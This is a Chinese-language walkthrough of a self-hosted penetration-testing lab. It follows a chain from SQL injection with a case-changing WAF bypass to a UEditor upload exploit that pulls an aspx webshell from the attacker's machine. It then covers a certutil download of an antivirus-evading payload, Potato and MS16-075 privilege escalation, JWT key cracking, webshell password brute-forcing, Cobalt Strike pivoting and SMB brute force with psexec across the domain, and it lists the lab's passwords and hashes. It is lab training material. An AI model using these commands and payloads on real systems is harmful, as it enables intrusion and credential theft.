前言
这套靶场非常的优秀,打完之后大呼过瘾,上头的感觉,就是有点累。在此过程中,学到了非常多的东西。靶场下载,提取码:7fkj,环境搭建视频。
网络拓扑图
我这里获取的ip如下
12server-web1 | 192.168.22.128 192.168.59.128 |
12server-data1 | 192.168.22.133 192.168.59.180 |
12server-web2 | 192.168.22.132 10.10.10.138 |
12server-data2 | 10.10.10.136 |
16server-dc1 | 10.10.10.135 |
信息搜集
nmap扫描192.168.59.128/12server-web1,信息如下
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 8.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
999/tcp open http Microsoft IIS httpd 8.5
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6588/tcp open http Microsoft IIS httpd 8.5
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
192.168.59.180/12server-data1,信息如下
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2012 11.00.3000; SP1
2383/tcp open ms-olap4?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
这里获取到了web1,其中80,999,5985,6588,47001都是http协议 。启动了mysql。data1开放了80,mssql。
其中999端口是phpmyadmin
6588端口是护卫神管理面板
访问web1:http://www.ackmoon.com/
点击其他页面发现是aspx,扫描目录,获取到后台地址,http://www.ackmoon.com/admin/login.aspx ,注意这个HDHCMS大有用处,后面会讲!
这里点击注册,提示存在admin用户
sql注入
在http://www.ackmoon.com/search.aspx 发现存在sql注入,输入1 and 1 = 1
,有waf拦截
用burp抓到post包后,直接上sqlmap梭哈,python sqlmap.py -r a.txt -p DonforGjc --dbs
获取到以下数据库
master
model
msdb
ReportServer
ReportServerTempDB
tempdb
上面的数据库都是mssql默认的数据库,这个时候不要慌,有可能是sqlmap漏扫了。再次使用python sqlmap.py -r a.txt -p DonforGjc -current-db
,查看当前数据库。当前数据库名为DemoHdhCms
获取到数据库类型是mssql,但是web1开了mysql,并没有开启mssql。而data1开放了mssql。这里猜测是站库分离,意思是网站和数据库不在同一个服务器上。
查看DemoHdhCms
中的数据表,python sqlmap.py -r a.txt -p DonforGjc --tables -D DemoHdhCms
,竟然啥都没获取到
那就看看sqlmap的payload是啥,加入参数-v 3
开启debug模式,python sqlmap.py -r a.txt -p DonforGjc --tables -D DemoHdhCms -v 3
直接复制粘贴最后一个payload
1');IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM DemoHdhCms..sysobjects WHERE xtype=CHAR(85)),1,1))>9) WAITFOR DELAY '0:0:5'--
将上面的payload手工注入,提示非法注入,原来是被waf拦截了。
有了payload,测试一下是否是站库分离,使用1');if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--
,点击搜索后,没有延时5s。存在站库分离。
继续前面的绕waf,测试发现只要大小写变换一下,即可绕过waf。比如将FROM变成FrOM,COUNT变成COuNt之类的。
很幸运的是sqlmap内置有这个tamper脚本叫randomcase
,使用python sqlmap.py -r a.txt -p DonforGjc --tables -D DemoHdhCms --tamper=randomcase -v 3
可看到大小写已经成功变换,然后我就等了3个小时😑,终于出结果了……
那么慢的原因是注入方式是延时注入,其实这里已经绕了弯路了。前面提到的HDHCMS,官网下载源码。在database\hdhcms.mdb
有数据库文件。
并且还在根目录中的HdhApp.config
,发现数据库连接用户名和密码
本机没有sql server,如果就查看一个mdb数据库文件,我觉得也没必要去安装一个sql server。在网上找到了MDB Viewer Plus,使用此工具打开hdhcms.mdb
。
发现用户名和密码在Onkey_DonforGlcy
表中
sqlmap得到用户名和密码python sqlmap.py -r a.txt -p DonforGjc --tamper=randomcase -D DemoHdhCms -T Onkey_DonforGlcy -C admin,pwd --dump
解密得到:password-moon
测试sqlmap使用--os-shell
可直接得到shell,但因为是延时注入,输入cmd命令后,起码要10分钟后才有回显。直接获取到data1的shell,问题就是回显非常慢,所以我直接放弃了这个地方。
UEditor文件上传漏洞
登录进后台,发现编辑器是百度Ueditor 1.4.3,这个爆发过文件上传漏洞
先打开f12,再随便修改一个文章,获取到controller.ashx的地址为http://www.ackmoon.com/admin/net/controller.ashx?
本地新建一个html文件,内容如下
<!DOCTYPE html>
<html>
<body>
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input style="width: 250px;" type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
</body>
</html>
kali上使用service apache2 start
开启apache服务,将aspx图片马上传到/var/www/html
addr输入http://192.168.59.129/go.jpg?.aspx
返回webshell地址为../../upfiles/image/20211018/6377018923424814118052578.aspx
webshell全路径为:http://www.ackmoon.com/upfiles/image/20211018/6377018923424814118052578.aspx
,蚁剑成功连接
MS16-075提权
whoami
后是个非常小的权限
MS16-075即烂土豆提权,补丁编号为KB3164038。使用systeminfo | findstr 3164038
,发现未打补丁。
在线杀软识别,发现有360,其实应该还有一个护卫神的,不知道为什么没显示出来。
遇到这种iis提权,可以使用PipePotato/BadPotato/SweetPotato/PrintSpoofer这些土豆一个一个去试。
然后生成一个msf的免杀马,上传到web目录,执行后,获取到了一个session
msf输入以下命令获取到了system权限
search ms16-075
use 1
set session 1
run
它提示no session was created,输入sessions
,其实已经获取到了session,如果run失败,多run几次即可。
方便后渗透,将msf派生给cs。
进行主机的信息搜集,获取到MySql用户密码数据表在C:\Hws.com\HwsHostMaster\phpweb\mysql\data\mysql\user.MYD
,Mysql配置信息在C:\Hws.com\HwsHostMaster\phpweb\mysql\my.ini
。
下载后查看user.MYD
文件信息,获取到Mysql登录用户名为root,密码为md5加密后的值CCE243668A313A8BF5FAFAC782C44B4CE5AE44D9
,随后我拿去解密,解密失败。
继续搜集,下载C:\Hws.com\HwsHostMaster\主机大师使用说明.txt
Mysql用户名:root,密码:HRy7B4m9zeE5iGdfZNsTp0pIPfE3YX。护卫神用户名:huweishen,密码:Hp_5n1olpp9EM7NG5
后面尝试都是能登录成功的,我就不截图了。
继续使用hashdump
,获取管理员密码ntlm hash值为fbe5588a79e40d41d77a40569c7b3090
,解密后明文为QWEasd.123
xp_cmdshell
前面提到在HdhApp.config
存放了mssql数据库的用户名和密码,位置在C:/Hws.com/HwsHostMaster/wwwroot/www.ackmoon.com/web/HdhApp.config
得到用户名:sa 密码:pass123@.com,数据库ip:192.168.22.133
输入命令java -jar MDUT.jar
,打开MDUT,进行连接。为这个项目的作者点赞!!!我心目中的数据库连接工具
在激活xpcmdshell组件后,查看进程
存在火绒
whoami得到nt service\mssqlserver
这个权限也不高。需要反弹msf或者cs进行后渗透
使用certutil | certutil –urlcache –f –split http://192.168.59.129/HanzoInjection.exe C:\Users\MSSQLSERVER\HanzoInjection.exe
绕火绒进行远程下载
马儿成功下载
上线msf
使用ms16-075,再次提权成功
JWT token破解
web1和data1已经拿下,接下来拿web2
这部分真的完全走了一个大大的弯路。也提醒各位信息搜集的重要性
kali ip是:192.168.59.129,而web2 ip是:192.168.22.132,这里我就搞不懂为啥能ping通
nmap web2扫描结果
25/tcp open smtp?
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
110/tcp open tcpwrapped
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
514/tcp filtered shell
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
4444/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
访问80网页,注意看网页标题演示:JWT实战:使用axios+PHP实现登录认证
,后面用处大着呢
使用demo用户,登录进去后,没啥特别的东西
测了测sql注入,也没有,在深入了解Json Web Token之实战篇。我感觉可能是jwt token破解之类的东西
输入demo demo,点击登录后,使用burp抓包,获取到token为
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjM0NjQ0NjAyLCJuYmYiOjE2MzQ2NDQ2MTIsImV4cCI6MTYzNDY0NTIwMiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.nGspRCVcsykjjRqTSAzGVBVYoesVRdlyycVywrrA8qg
来到jwt.io,将上面的token复制粘贴后,可以查看解密后的内容。
红箭头是需要输入密钥的地方,如果直接将 “username”: “demo”改成 “username”: “admin”的话,密钥不对,哈希就会认证失败。
光标移到exp会给出一段信息,这个是token过期时间。可以手动修改exp让过期时间延长
使用JWT TOOL爆破密钥,rockyou字典是kali自带的在/usr/share/wordlists/rockyou.txt.gz
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjM0NjQ0NjAyLCJuYmYiOjE2MzQ2NDQ2MTIsImV4cCI6MTYzNDY0NTIwMiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.nGspRCVcsykjjRqTSAzGVBVYoesVRdlyycVywrrA8qg -C -d /root/rockyou.txt
破解密钥为Qweasdzxc5
。来到解密网站,输入密钥,为了延长密钥时间我将”exp”: 1634645202,改为”exp”: 1734645202。
将加密结果替换进burp后,放包,得到下面结果我人都傻了。这不就是将demo换成了admin嘛,啥也没有啊
在里面测试了各种sql参数,还是不行,又在网上找到了JWT实战:使用axios+PHP实现登录认证源码。查看源码也没有啥东西,这个地方果断放弃。早搞信息搜集,就没有这段内容了。。。就当学习一个新知识了吧。
爆破webshell密码
使用御剑扫出这点信息,其中打开1.php和c.php都是空白页面
发现a.php是phpinfo信息,获取到mysql用户名为root,有网站物理路径了,也不能上传webshell
这时我陷入了沉思,设计这个靶场的人,就扫到了3个php,其中2个打开还是空白页面。我就觉得离谱,有没有一种可能就是1.php或者c.php是webshell啊。使用K8_FuckOneShell,搭配Dictionary-Of-Pentesting字典。如果你要使用Dictionary-Of-Pentesting
里的txt文件。需要把txt复制到K8_FuckOneShell\pass.txt
成功 爆破出http://192.168.22.132/1.php
,一句话密码为cmd
,真的有趣有趣
蚁剑连上去查看,这不是还有一个phpMyAdmin4.8.5路径嘛,这御剑没扫出来。侧面说明平时不注重搜集字典。
使用root Qweasdzxc5能成功登录phpmyadmin,别忘了这个Qweasdzxc5是前面jwt token破解出来的密码。估计很多人走的这条线。可恶,要是我扫描出来了目录,我也选择走这条线。爆破webshell密码,想到这个的时候,已经浪费了很多时间。
whoami是nt authority\system
, 无杀软,但是无法出网,而kali能ping通。
不出网上线cs
让web1作为跳板机,web2连接web1,web1将流量转发给cs
web1上会监听4444端口
生成cs木马,选择Windows Executable (Stageless)
将木马上传到web2,运行马子即可上线cs
域渗透
存在域:ack123.com
域管理员为:Administrator
内网主机探测发现data2和dc1
使用哈希传递攻击失败
探测开放了445,135,139等端口,这里我就只贴出了445端口的扫描结果
我想将cs的不出网主机派生给msf,但试了很多方法,都没有成功。哎,还是菜了。换个思路,想用msf去进行内网渗透,发现可以用cs的代理功能。这里重点感谢下snowming的文章
在web2上开启socks 1080
代理
点击Proxy Privots
下的Tunnel,复制生成的MSF 代理链接
msf输入以下命令,即可走cs的隧道
setg Proxies socks4:192.168.59.129:1080
setg ReverseAllowProxy true
使用auxiliary/scanner/smb/smb_ms17_010
,10.10.10.135(dc1)可以利用
打过去,卡在这里了
一看靶机,蓝屏了
使用exploit/windows/smb/ms17_010_psexec
,还是利用失败。上CVE-2020-1472
待验证 待验证
最后一条路了,爆破smb密码
use auxiliary/scanner/smb/smb_login
set rhosts 10.10.10.136
set threads 50
set smbuser administrator
set smbdomain ack123.com
set pass_file /root/JCPasswd.txt
密码为:P@55w0rd!
这个时候就可以使用psexec了,新建一个Listeners选择smb类型
选择目标后,右键jump->psexec
批量上线
这里的psexec我试了很多遍才成功,如果你没有成功,可以试试下面的方法。前提得到了administrator账号。
和上面一样,新建一个Listeners选择smb类型,到web2使用shell net use \\10.10.10.135\c$ /user:"administrator" "P@55w0rd!"
。现在可以查看c盘内容了
jump psexec64 10.10.10.135 smb
,横向建立 SMB Beacon,其中smb是smb协议监听器的名称
图中只有三台机子,原因是我为了成功演示,我把靶机全部重启,以防有缓存凭据。
感谢文章和工具
MDB Viewer Plus
UEditor 1.4.3 任意文件上传getshell
MDUT
mysql数据库一些常见的系统配置文件路径
深入了解Json Web Token之实战篇
jwt.io
JWT TOOL
Hacker Tools - JWT Tool
K8_FuckOneShell
Dictionary-Of-Pentesting
cobalt strike正向反向连接内网
Cobalt Strike & MetaSploit 联动
CS 4.0 SMB Beacon